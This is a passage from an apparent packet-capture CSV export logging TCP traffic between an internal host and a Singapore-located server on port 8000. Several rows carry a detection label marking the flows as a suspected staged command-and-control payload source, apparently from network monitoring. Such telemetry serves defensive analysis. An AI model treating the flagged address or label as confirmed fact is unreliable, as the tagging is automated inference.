6, \"\"chksum\"\": 15957, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:48.967493,1066,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b9400040062a3bc0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*;....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1465, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10811, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:49.859724,1067,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1244487871 Ack=837001326,bc24112907bbbc2411360d0c08004500003db1aa400080063e400a98980bc0a3a789fa6f1f404a2d60bf31e3a06e50182014884300001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45482, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15936, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487871, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 34883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:13:49.859751,1068,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500002805ba400040062a46c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d45010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.*F....\n....@.o1..nJ-`.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1466, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10822, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:50.873637,1069,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1ab400080063e530a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45483, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15955, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:50.873656,1070,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405bb400040062a39c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*9....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1467, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10809, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:51.889397,1071,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1ac400080063e520a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45484, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15954, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:51.889429,1072,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405bc400040062a38c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*8....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1468, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10808, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:52.904931,1073,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1ad400080063e510a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45485, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15953, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:52.904939,1074,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405bd400040062a37c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*7....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1469, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10807, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:53.905000,1075,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1ae400080063e500a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45486, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15952, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:53.905026,1076,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405be400040062a36c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*6....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1470, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10806, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:54.920674,1077,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1af400080063e4f0a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45487, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15951, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:54.920691,1078,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405bf400040062a35c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*5....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1471, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10805, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:55.936345,1079,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b0400080063e4e0a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45488, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15950, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:55.936373,1080,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c0400040062a34c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*4....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1472, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10804, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:56.951941,1081,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b1400080063e4d0a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45489, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15949, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:56.951963,1082,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c1400040062a33c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*3....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": 